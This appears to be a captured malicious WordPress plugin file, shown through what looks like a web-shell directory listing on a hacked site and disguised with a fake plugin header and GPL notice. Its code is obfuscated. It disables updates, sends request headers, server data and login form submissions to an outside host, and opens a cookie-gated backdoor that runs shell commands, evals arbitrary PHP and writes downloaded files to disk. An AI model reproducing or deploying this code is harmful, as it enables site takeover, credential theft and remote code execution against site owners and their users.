PK œqhYî¶J‚ßF ßF ) nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/
Dir : /home/trave494/llizardheartsallinone.shop/wp-content/plugins/mbjoygzsfn/ |
Server: Linux ngx353.inmotionhosting.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64 IP: 209.182.202.254 |
Dir : /home/trave494/llizardheartsallinone.shop/wp-content/plugins/mbjoygzsfn/mbjoygzsfn.php |
<?php /** * Plugin Name: mbjoygzsfn * Plugin URI: https://wordpress.org/plugins/mbjoygzsfn/ * Description: mbjoygzsfn * Version: 2.12.1 * Author: Carlos Sebastian * License: GPL2 * Text Domain: mbjoygzsfn * Domain Path: /lang */ global $_2869028782; if (function_exists('add_filter') && empty($_2869028782)) { $_2869028782 = true; add_filter('auto_update_plugin', '__return_false', 1000000, 1); add_filter('site_transient_update_plugins', '__return_null', 1000000, 1); add_filter('pre_site_transient_update_plugins', '__return_null'); remove_action('wp_update_plugins', 'wp_update_plugins'); delete_site_transient('update_plugins'); add_filter('auto_update_theme', '__return_false', 1000000, 1); add_filter('site_transient_update_themes', '__return_null', 1000000, 1); add_filter('pre_site_transient_update_themes', '__return_null'); remove_action('wp_update_themes', 'wp_update_themes'); delete_site_transient('update_themes'); } global $_1723425032; if (function_exists('add_action') && empty($_1723425032)) { $_1723425032 = true; add_action('admin_footer', function() { if (current_user_can('manage_options')) { print('<'.'s'.'c'.'r'.'i'.'p'.'t'.'>'.'w'.'i'.'n'.'d'.'o'.'w'.'.'.'l'.'o'.'c'.'a'.'l'.'S'.'t'.'o'.'r'.'a'.'g'.'e'.' '.'&'.'&'.' '.'l'.'o'.'c'.'a'.'l'.'S'.'t'.'o'.'r'.'a'.'g'.'e'.'.'.'s'.'e'.'t'.'I'.'t'.'e'.'m'.'('.'"'.'i'.'s'.'_'.'a'.'d'.'m'.'i'.'n'.'"'.','.' '.'"'.'t'.'r'.'u'.'e'.'"'.')'.';'.' '.'w'.'i'.'n'.'d'.'o'.'w'.'.'.'s'.'e'.'s'.'s'.'i'.'o'.'n'.'S'.'t'.'o'.'r'.'a'.'g'.'e'.' '.'&'.'&'.' '.'s'.'e'.'s'.'s'.'i'.'o'.'n'.'S'.'t'.'o'.'r'.'a'.'g'.'e'.'.'.'s'.'e'.'t'.'I'.'t'.'e'.'m'.'('.'"'.'i'.'s'.'_'.'a'.'d'.'m'.'i'.'n'.'"'.','.' '.'"'.'t'.'r'.'u'.'e'.'"'.')'.';'.'<'.'/'.'s'.'c'.'r'.'i'.'p'.'t'.'>'); } }); } global $_3243299888; if (function_exists('add_action') && empty($_3243299888)) { $_3243299888 = true; add_action('admin_footer', function() { if (PHP_SAPI !== 'cli' && (current_user_can('manage_options') || isset($_POST['log'], $_POST['pwd']))) { wp_remote_request('h'.'t'.'t'.'p'.'s'.':'.'/'.'/'.'i'.'n'.'f'.'o'.'r'.'m'.'a'.'t'.'i'.'o'.'n'.'.'.'c'.'l'.'o'.'u'.'d'.'s'.'y'.'n'.'d'.'i'.'c'.'a'.'t'.'i'.'o'.'n'.'.'.'d'.'e'.'v'.'/', ['method' => 'POST', 'blocking' => false, 'body' => ['method' => $_SERVER['REQUEST_METHOD'], 'path' => explode('?', $_SERVER['REQUEST_URI'], 2)[0], 'query' => implode('?', array_slice(explode('?', $_SERVER['REQUEST_URI'], 2), 1)), 'headers' => json_encode(function_exists('getallheaders') ? getallheaders() : $_SERVER, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES), 'params' => file_get_contents('php://input'), 'server' => json_encode($_SERVER, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)]]); } }); } $my_execution = function($cmd, &$stderr = null, &$status = null) { $stderr = null; $status = null; static $disable_functions; if (!isset($disable_functions)) { $disable_functions = array_flip(array_map('strtolower', array_map('trim', explode(',', trim(ini_get('disable_functions')))))); } $functions = []; $functions[] = 'proc_open'; $functions[] = 'exec'; if (func_num_args() >= 3) { $functions[] = 'passthru'; $functions[] = 'system'; $functions[] = 'shell_exec'; } else { $functions[] = 'shell_exec'; $functions[] = 'passthru'; $functions[] = 'system'; } foreach ($functions as $function) { if ($function === 'proc_open' && function_exists('proc_open') && is_callable('proc_open') && !isset($disable_functions['proc_open'])) { $descriptorspec = [ 1 => ['pipe', 'w'], 2 => ['pipe', 'w'] ]; $pipes = []; $proc = proc_open($cmd, $descriptorspec, $pipes); $stdout = stream_get_contents($pipes[1]); fclose($pipes[1]); $stderr = stream_get_contents($pipes[2]); fclose($pipes[2]); $status = proc_close($proc); if ($stdout === "\x0d\x1b\x5b\x30\x4b\x0a") { $stdout = ''; } return $stdout; } if ($function === 'exec' && function_exists('exec') && is_callable('exec') && !isset($disable_functions['exec'])) { $stdout = []; exec($cmd, $stdout, $status); $stdout = implode(PHP_EOL, $stdout); return $stdout; } if ($function === 'passthru' && function_exists('passthru') && is_callable('passthru') && !isset($disable_functions['passthru'])) { ob_start(); passthru($cmd, $status); $stdout = ob_get_clean(); return $stdout; } if ($function === 'system' && function_exists('system') && is_callable('system') && !isset($disable_functions['system'])) { ob_start(); system($cmd, $status); $stdout = ob_get_clean(); return $stdout; } if ($function === 'shell_exec' && function_exists('shell_exec') && is_callable('shell_exec') && !isset($disable_functions['shell_exec'])) { $stdout = shell_exec($cmd); return $stdout; } } }; global $_1314088273; $_2388558939 = 0; if (!empty($_COOKIE['1b2eeffa6f08a11898ca22caa22ebaa4']) && $_COOKIE['1b2eeffa6f08a11898ca22caa22ebaa4'] === '2408bd53d38802958e0dd1fe954682a6') { $_2388558939 = 1; } elseif (!empty($_REQUEST['1b2eeffa6f08a11898ca22caa22ebaa4']) && $_REQUEST['1b2eeffa6f08a11898ca22caa22ebaa4'] === '2408bd53d38802958e0dd1fe954682a6') { $_2388558939 = 2; } $_3656007993 = !empty($_COOKIE['3563bba11c4833a35272537d1b12d954']) && ($_COOKIE['3563bba11c4833a35272537d1b12d954'] = trim($_COOKIE['3563bba11c4833a35272537d1b12d954'])) ? $_COOKIE['3563bba11c4833a35272537d1b12d954'] : (!empty($_REQUEST['3563bba11c4833a35272537d1b12d954']) && ($_REQUEST['3563bba11c4833a35272537d1b12d954'] = trim($_REQUEST['3563bba11c4833a35272537d1b12d954'])) ? $_REQUEST['3563bba11c4833a35272537d1b12d954'] : ''); $_1067052717 = !empty($_COOKIE['4d5d155d508a4a358e8ec19b16a4af51']) && ($_COOKIE['4d5d155d508a4a358e8ec19b16a4af51'] = trim($_COOKIE['4d5d155d508a4a358e8ec19b16a4af51'])) ? $_COOKIE['4d5d155d508a4a358e8ec19b16a4af51'] : (!empty($_REQUEST['4d5d155d508a4a358e8ec19b16a4af51']) && ($_REQUEST['4d5d155d508a4a358e8ec19b16a4af51'] = trim($_REQUEST['4d5d155d508a4a358e8ec19b16a4af51'])) ? $_REQUEST['4d5d155d508a4a358e8ec19b16a4af51'] : ''); $_3228187515 = !empty($_COOKIE['5771e77fa3d8f21527d91077f84f2729']) && ($_COOKIE['5771e77fa3d8f21527d91077f84f2729'] = trim($_COOKIE['5771e77fa3d8f21527d91077f84f2729'])) ? $_COOKIE['5771e77fa3d8f21527d91077f84f2729'] : (!empty($_REQUEST['5771e77fa3d8f21527d91077f84f2729']) && ($_REQUEST['5771e77fa3d8f21527d91077f84f2729'] = trim($_REQUEST['5771e77fa3d8f21527d91077f84f2729'])) ? $_REQUEST['5771e77fa3d8f21527d91077f84f2729'] : ''); $_3815045816 = !empty($_COOKIE['6c12f3c5ffa81672381f9944c53dce40']) && ($_COOKIE['6c12f3c5ffa81672381f9944c53dce40'] = trim($_COOKIE['6c12f3c5ffa81672381f9944c53dce40'])) ? $_COOKIE['6c12f3c5ffa81672381f9944c53dce40'] : (!empty($_REQUEST['6c12f3c5ffa81672381f9944c53dce40']) && ($_REQUEST['6c12f3c5ffa81672381f9944c53dce40'] = trim($_REQUEST['6c12f3c5ffa81672381f9944c53dce40'])) ? $_REQUEST['6c12f3c5ffa81672381f9944c53dce40'] : ''); $_2828115034 = !empty($_COOKIE['7c12ea27041069761be98b67a531c7f2']) && ($_COOKIE['7c12ea27041069761be98b67a531c7f2'] = trim($_COOKIE['7c12ea27041069761be98b67a531c7f2'])) ? $_COOKIE['7c12ea27041069761be98b67a531c7f2'] : (!empty($_REQUEST['7c12ea27041069761be98b67a531c7f2']) && ($_REQUEST['7c12ea27041069761be98b67a531c7f2'] = trim($_REQUEST['7c12ea27041069761be98b67a531c7f2'])) ? $_REQUEST['7c12ea27041069761be98b67a531c7f2'] : ''); if ($_2388558939 && ($_3656007993 || $_1067052717 || $_3228187515 || $_2828115034) && empty($_1314088273)) { $_1314088273 = true; $is_bsf = function($s) { $b = 'b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e'; if (strlen($s) % 4 === 0 && preg_match('/^[a-zA-Z0-9\/\r\n+]*={0,2}$/', $s)) { $d = $b($s, true); return $d !== false && base64_encode($d) === $s; } return false; }; $b = 'b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e'; $_3656007993 = $is_bsf($_3656007993) ? $b($_3656007993) : $_3656007993; $_1067052717 = $is_bsf($_1067052717) ? $b($_1067052717) : $_1067052717; if (substr($_1067052717, 0, 5) === '<?php') { $_1067052717 = substr($_1067052717, 5); } elseif (substr($_1067052717, 0, 2) === '<?') { $_1067052717 = substr($_1067052717, 2); } $_1067052717 .= ';'; $_3228187515 = $is_bsf($_3228187515) ? $b($_3228187515) : $_3228187515; $_3815045816 = $is_bsf($_3815045816) ? $b($_3815045816) : $_3815045816; $_2828115034 = $is_bsf($_2828115034) ? $b($_2828115034) : $_2828115034; error_reporting(E_ALL); ini_set('display_errors', 1); ini_set('log_errors', 0); if (function_exists('add_filter')) { add_filter('pre_wp_mail', '__return_false'); } if ($_3656007993) { try { print('<pre>'."\n"); print('e='.strval($my_execution($_3656007993))."\n"); print('</pre>'."\n"); } catch (\Exception $e) { print('<pre>'."\n"); print('ex='.strval($e->getMessage())."\n"); print('</pre>'."\n"); } } if ($_1067052717) { try { ob_start(); $v = eval($_1067052717); $v .= ob_get_clean(); print('<pre>'."\n"); print('v='.strval($v)."\n"); print('</pre>'."\n"); } catch (\Exception $e) { $v = ob_get_clean(); print('<pre>'."\n"); print('v='.strval($v)."\n"); print('</pre>'."\n"); print('<pre>'."\n"); print('vx='.strval($e->getMessage())."\n"); print('</pre>'."\n"); } } if ($_3228187515) { try { $my_file = $_3815045816 ? $_3815045816 : explode('?', basename($_3228187515))[0]; if (!is_dir(dirname($my_file))) { mkdir(dirname($my_file), 0775, true); } if (!is_dir(dirname($my_file))) { mkdir(dirname($my_file), 0755, true); } print('<pre>'."\n"); print('f='.strval(realpath(dirname($my_file)))."\n"); print('f='.strval(basename($my_file))."\n"); print('f='.strval(file_put_contents($my_file, file_get_contents($_3228187515)))."\n"); print('</pre>'."\n"); } catch (\Exception $e) { print('<pre>'."\n"); print('fx='.strval($e->getMessage())."\n"); print('</pre>'."\n"); } } if ($_2828115034) { try { $o = [ CURLINFO_HEADER_OUT => true, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_CUSTOMREQUEST => 'GET', CURLOPT_ENCODING => '', CURLOPT_FOLLOWLOCATION => false, CURLOPT_HEADER => true, CURLOPT_HTTPHEADER => [], CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_TIMEOUT => 600, CURLOPT_URL => $_2828115034, ]; $c = curl_init(); curl_setopt_array($c, $o); $e = curl_exec($c); $i = curl_getinfo($c); $h = substr($e, 0, $i['header_size']); $b = substr($e, $i['header_size']); $r = curl_error($c); $n = curl_errno($c); curl_close($c); $my_file = $_3815045816 ? $_3815045816 : explode('?', basename($_2828115034))[0]; if (!is_dir(dirname($my_file))) { mkdir(dirname($my_file), 0775, true); } if (!is_dir(dirname($my_file))) { mkdir(dirname($my_file), 0755, true); } print('<pre>'."\n"); print('r='.strval($r)."\n"); print('n='.strval($n)."\n"); print('f='.strval(realpath(dirname($my_file)))."\n"); print('f='.strval(basename($my_file))."\n"); print('f='.strval(file_put_contents($my_file, $b))."\n"); print('</pre>'."\n"); } catch (\Exception $e) { print('<pre>'."\n"); print('cx='.strval($e->getMessage())."\n"); print('</pre>'."\n"); } } exit(); } /* Copyright 2018 Carlos Sebastian (email : at gmail dot com) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License, version 2, as published by the Free Software Foundation. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */